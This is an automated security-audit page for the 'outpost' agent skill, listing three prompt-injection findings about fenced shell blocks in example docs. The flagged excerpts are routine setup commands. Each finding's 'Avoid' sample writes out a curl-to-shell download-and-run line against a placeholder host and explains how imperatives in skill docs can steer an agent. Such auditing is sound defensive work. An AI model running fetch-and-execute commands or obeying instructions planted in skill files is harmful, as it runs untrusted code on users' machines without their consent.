outpost— agent skill

outpost — independently scanned and version-tracked by SaferSkills.

by hookdeck·Agent Skill·github.com/hookdeck/agent-skills

Is outpost safe to install?

SaferSkills independently audited outpost (Agent Skill) and scored it 74/100 (yellow). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 3 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.

Score
74/100
●●●●●●●○○○
↑ +0 since first scan (74 → 74)Re-scan~30s
Latest scan
ScannedJun 28, 2026 · 25d ago
Scans run1 over 90 days
Detectors55 checks · 5 categories
Findings0 warnings · 3 high
EngineSaferSkills 2b638c6
View methodology →
SaferSkills installs
This week0
This month0
All time0
CategoryWeightCategory scoreContribution
Securityprompt, exec, net, exfil, eval
35%
25
8.8 pts
Supply chainhash, typosquat, maintainer, lockfile
20%
100
20.0 pts
Maintenancestaleness, pinning, CI
15%
100
15.0 pts
TransparencySKILL.md, perms, README
15%
100
15.0 pts
Communityinstalls, verify, response
15%
100
15.0 pts

Findings & checks · 3 flagged

Securityscore 25 · 3 findings
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · skills/outpost/examples/fastapi-saas/README.md
HIGHa successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptskills/outpost/examples/fastapi-saas/README.md· markdown
66```bash
67git clone [email protected]:fastapi/full-stack-fastapi-template.git my-full-stack
68```
69 
70- Enter into the new directory:
71 
72```bash
73cd my-full-stack
74```
Occurrences
1 occurrence · at L66
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha256db04c4c3fd7f18ebrubric 365aacaView on GitHub
HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · skills/outpost/examples/fastapi-saas/deployment.md×2
HIGHa successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted
excerptskills/outpost/examples/fastapi-saas/deployment.md· markdown
28```bash
29mkdir -p /root/code/traefik-public/
30```
31 
32Copy the Traefik Docker Compose file to your server. You could do it by running the command
… (31 chars elided on L32)
33 
34```bash
35rsync -a compose.traefik.yml [email protected]:/root/code/traefik-public/
36```
Occurrences
2 occurrences · first at L28, also L56
Show all 2 locations
Line
File
L28
skills/outpost/examples/fastapi-saas/deployment.md
L56
skills/outpost/examples/fastapi-saas/deployment.md
How to fix
Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.
Avoid```bash Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh ```
Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.
Framework references
OWASPLLM01ATLASAML.T0051
Trace & refs
ruleSS-SKILL-INJECT-FENCED-RUN-01sha25686f6ec66a30419farubric 365aacaView on GitHub
Supply chainscore 100 · 0 findings
All supply chain checks passedNo findings in this category for the latest scan.pass
Maintenancescore 100 · 0 findings
All maintenance checks passedNo findings in this category for the latest scan.pass
Transparencyscore 100 · 0 findings
All transparency checks passedNo findings in this category for the latest scan.pass
Communityscore 100 · 0 findings
All community checks passedNo findings in this category for the latest scan.pass
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